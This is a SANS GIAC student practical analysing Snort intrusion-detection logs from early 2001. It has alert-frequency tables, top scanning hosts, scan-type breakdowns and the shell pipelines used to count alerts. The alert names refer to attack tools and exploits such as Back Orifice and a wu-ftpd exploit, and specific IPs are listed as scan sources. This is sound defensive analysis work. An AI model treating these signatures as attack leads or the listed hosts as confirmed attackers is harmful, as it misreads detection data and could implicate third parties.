To remove the vulnerabilities, the patches named by iis_promisc should be applied as soon as possible to protect the web servers with IIS 4 and 5.

In addition to the named vulnerabilities, the security patch q293826 with the title Windows 2000 Security Patch: Superfluous decoding operation could allow command execution via IIS would fix the following vulnerabilities per Microsoft:

- *A vulnerability that could enable a malicious user to run operating system commands on an affected server.*
- *A vulnerability that could allow a malicious user to enter a File Transfer Protocol (FTP) command, which can cause IIS 5.0 to fail. FTP is the protocol used for copying files to and from remote computer systems on a network.*
- *A vulnerability that can enable a malicious user to access a guest account using the FTP service.*

Assignment III – "Analyze This" Scenario

Restriction

To aid the processing of data by SnortSnarf, the text MY.NET has been changed to 192.171.

Top Issues

The following chart displays the name of all alerts that have been generated from logs Snort*.txt during the logged period between January 22 and February 12, 2001. The chart also displays the number of occurrences for each alert:

Alert Name	# Occurrences
**] UDP SRC and DST outside network	490382
**] Watchlist 000220 IL-ISDNNET-990517	19069
**] SYN-FIN scan!	12717

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

**] Possible RAMEN server activity	9991
**] NMAP TCP ping!	7229
**] Watchlist 000222 NET-NCFC	6017
**] External RPC call	3029
**] TCP SRC and DST outside network	2453
**] SNMP public access	1163
**] SMB Name Wildcard	846
**] connect to 515 from inside	650
**] WinGate 1080 Attempt	612
**] Attempted Sun RPC high port access	543
**] Queso fingerprint	523
**] Tiny Fragments - Possible Hostile Activity	230
**] SUNRPC highport access!	210
**] Null scan!	156
**] ICMP SRC and DST outside network	104
**] Back Orifice	25
**] STATDX UDP attack	16
**] Security 000516-1	4
**] TCP SMTP Source Port traffic	4
**] Probable NMAP fingerprint attempt	2
**] Russia Dynamo - SANS Flash 28-jul-00	1
**] SITE EXEC - Possible wu-ftpd exploit - GIAC000623	1

Table A. Alerts and their occurrences

The table below shows the top 8 scans per signature according to the Snort log from UMBCNI61.txt.

Signature (click for sig info)	# Alerts	# Sources	# Destinations
TCP *1****A* scan	2	1	1
TCP 2**F***U scan	2	2	2
TCP 2*S***AU scan	3	2	2
TCP ******** scan	17	9	8
TCP 21S***** scan	56	18	19
TCP ***F*P*U scan	571	1	525
TCP **S***** scan	1295	21	688
UDP scan	47572	91	7836

Table B. Top 8 Scan Types

Top Alert Source Hosts

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

During this time period the following 20 IP addresses generated the most alerts:

```
155.101.21.38 generated alerts 91361 times
171.69.248.71 generated alerts 32393 times
140.142.19.72 generated alerts 31063 times
206.190.54.67 generated alerts 26079 times
129.116.65.3 generated alerts 20056 times
128.223.83.33 generated alerts 19594 times
152.1.1.79 generated alerts 18186 times
130.235.133.92 generated alerts 17890 times
130.240.64.20 generated alerts 17847 times
63.250.208.169 generated alerts 17397 times
130.161.180.141 generated alerts 14832 times
171.68.98.109 generated alerts 14284 times
171.68.43.192 generated alerts 10800 times
130.225.127.87 generated alerts 10487 times
128.223.83.35 generated alerts 9644 times
130.234.184.112 generated alerts 9336 times
128.171.104.147 generated alerts 8982 times
128.249.104.243 generated alerts 8018 times
128.249.104.246 generated alerts 7952 times
128.178.10.2 generated alerts 7870 times
```

Top 10 Sources and Destinations of Top 3 Scan Types

UDP scan

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
192.171.229.154	19785	19785	127	127
192.171.212.198	2847	2847	41	41
192.171.229.10	1367	1368	507	507
192.171.204.66	1349	1349	15	15
192.171.71.235	1264	1264	577	577
192.171.219.130	1084	1089	358	358
192.171.212.206	984	985	824	825
192.171.219.254	969	969	9	9
192.171.217.250	817	817	613	613
192.171.228.106	787	787	395	395

UDP scan

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
169.197.49.83	1382	1382	2	2

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

24.156.151.85	1138	1138	1	1
24.17.62.175	1081	1081	1	1
24.157.10.197	1026	1026	1	1
24.178.13.50	934	934	1	1
64.230.85.10	798	798	2	2
213.243.135.8	676	676	1	1
24.20.90.123	646	646	2	2
213.224.241.73	645	645	1	1
213.43.58.68	632	632	1	1

TCP **S***** scan

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
192.171.70.38	534	1455	455	582
208.191.223.112	476	476	1	1
192.171.219.114	141	141	134	134
204.71.200.75	37	37	1	1
192.171.221.166	23	23	19	19
192.171.209.230	20	20	20	20
192.171.206.30	14	15	11	12
192.171.219.214	14	14	14	14
192.171.224.242	13	14	13	14
192.171.219.130	5	1089	5	358

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
192.171.209.186	476	476	1	1
192.171.98.119	37	37	1	1
192.171.220.223	4	9	1	1

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

192.171.236.69	3	4	1	1
192.171.236.21	3	3	1	1
192.171.235.163	3	7	1	1
192.171.236.23	3	6	1	1
192.171.224.249	3	8	1	1
192.171.235.114	3	5	1	1
216.35.208.152	3	3	1	1

TCP ***F*P*U scan

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
192.171.70.38	571	1455	525	582

This system needs to be examined as the system has been engaged in other scanning activity as well. The system shows up as the source of following scans as well:

- 350 instances of *UDP scan*
- 534 instances of *TCP **S***** *scan*
- 571 instances of *TCP ***F*P*U scan*

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
192.171.239.48	3	7	1	1
192.171.237.206	3	6	1	1
192.171.235.163	3	7	1	1
192.171.236.39	3	5	1	1
192.171.232.230	3	3	1	1
192.171.240.101	2	6	1	1
192.171.238.204	2	5	1	1
192.171.239.112	2	5	1	1
192.171.237.55	2	5	1	1
192.171.238.18	2	6	1	1

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Analysis Method

SnortSnarf was the suggested tool to post-process Snort logs. However, I tried to run SnortSnarf on my Pentium II 200 MHz system with Red Hat Linux system to analyze all the logs together, but the system was not able to keep up with the sheer data size it has to process.

As I am running out of time to process the data for this practical, I turned to the good old way of processing the data using shell scripts.

First to generate the list of all alerts, I used the following command.

```
$ grep '\[\*\*\]' *.txt | grep -v spp | cut -c24- | cut -d '[' -f2 |
sort -u
**] Attempted Sun RPC high port access
**] Back Orifice
**] External RPC call
**] ICMP SRC and DST outside network
**] NMAP TCP ping!
**] Null scan!
**] Possible RAMEN server activity
**] Probable NMAP fingerprint attempt
**] Queso fingerprint
**] Russia Dynamo - SANS Flash 28-jul-00
**] SITE EXEC - Possible wu-ftpd exploit - GIAC000623
**] SMB Name Wildcard
**] SNMP public access
**] STATDX UDP attack
**] SUNRPC highport access!
**] SYN-FIN scan!
**] Security 000516-1
**] TCP SMTP Source Port traffic
**] TCP SRC and DST outside network
**] Tiny Fragments - Possible Hostile Activity
**] UDP SRC and DST outside network
**] Watchlist 000220 IL-ISDNNET-990517
**] Watchlist 000222 NET-NCFC
**] WinGate 1080 Attempt
**] connect to w515 from inside
```

Once the list of alerts were obtained, the following command was used to extract the number of occurrences for each alert:

```
#echo 'Attempted Sun RPC high port access'; grep 'Attempted Sun RPC
high port access' *.txt | wc -l
```

To identify the top 10 IP addresses that caused the most alerts, the following script was used:

```
grep '\[\*\*\]' new*.txt | grep -v spp > master.alert

cat master.alert | cut -d"]" -f3 | cut -d":" -f1 | cut -d"-" -f1 |
sort -u > master.alert.ip # sorted source IP list
```

© SANS Institute 2000 - 2002, Author retains full rights.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
for ip in `cat master.alert.ip`
do
alerts=`grep $ip master.alert | cut -d"]" -f3 | cut -d":" -f1 | cut -
d"-" -f1 |grep $ip | wc -l`
echo $ip generated alerts $alerts times > count.alerts.byIP
done

sort +3 -1 -rn count.alerts.byIP
```

To identify the top 10 destination IP address with alerts, the following script was used:

```
cat master.alert | cut -d"]" -f3 | cut -d":" -f2 | cut -d">" -f2 |
sort -u > master.alert.destip # sorted destination IP list

for ip in `cat master.alert.destip`
do
alerts=`grep $ip master.alert | cut -d"]" -f3 | cut -d":" -f1 | cut -
d"-" -f1 |grep $ip | wc -l`
echo $ip generated alerts $alerts times > count.alerts.bydestIP
done
sort +3 -1 -rn count.alerts.bydestIP
```

To identify IP addresses to generate top 5 alerts, the following commands were used:

```
grep 'UDP SRC and DST outside network' master.alert >>
master.alert.sig1
cat master.alert.sig1 | cut -d"]" -f3 | cut -d":" -f1 | cut -d"-" -f1 |
sort -u > master.alert.sig1.ip
grep 'Watchlist 000220' master.alert >> master.alert.sig2
cat master.alert.sig2 | cut -d"]" -f3 | cut -d":" -f1 | cut -d"-" -f1 |
sort -u > master.alert.sig2.ip
grep 'SYN-FIN' master.alert >> master.alert.sig3
cat master.alert.sig3 | cut -d"]" -f3 | cut -d":" -f1 | cut -d"-" -f1 |
sort -u > master.alert.sig3.ip
grep 'Possible RAMEN' master.alert >> master.alert.sig4
cat master.alert.sig4 | cut -d"]" -f3 | cut -d":" -f1 | cut -d"-" -f1 |
sort -u > master.alert.sig4.ip
grep 'NMAP TCP' master.alert >> master.alert.sig5
cat master.alert.sig5 | cut -d"]" -f3 | cut -d":" -f1 | cut -d"-" -f1 |
sort -u > master.alert.sig5.ip
```

References

Check Point Software Technologies Ltd.
http://www.checkpoint.com/

Cisco Systems
http://www.cisco.com/

TCP Intercept
http://www.cisco.com/univercd/cc/td/doc/product/software/ios112/intercpt.htm

SecurityFocus

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

http://www.securityfocus.com/

CVE Database
http://cve.mitre.org/

CERT Advisories
http://www.cert.org/advisories

American Registry for Internet Numbers(ARIN)
http://www.arin.net/

RIPE Whois database
http://www.ripe.net/cgi-bin/whois

HotBot
http://www.hotbot.com/

Google
http://www.google.com/

Deja Usenet
http://www.deja.com/

White Hats
htt://www.whitehast.com

arachNIDS Database
http://whitehats.com/ids/index.html

Analysis on rpc.statd exploit "statdx.c" by George Bakos
http://www.sans.org/y2k/practical/George_Bakos.html - exploit

SecuriTeam
http://www.securiteam.com/

SiliconDefense
http://www.silicondefense.com/

Microsoft
http://www.microsoft.com/

Rain Forest Puppy
http://www.wiretrip.net/

© SANS Institute 2000 - 2002, Author retains full rights.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.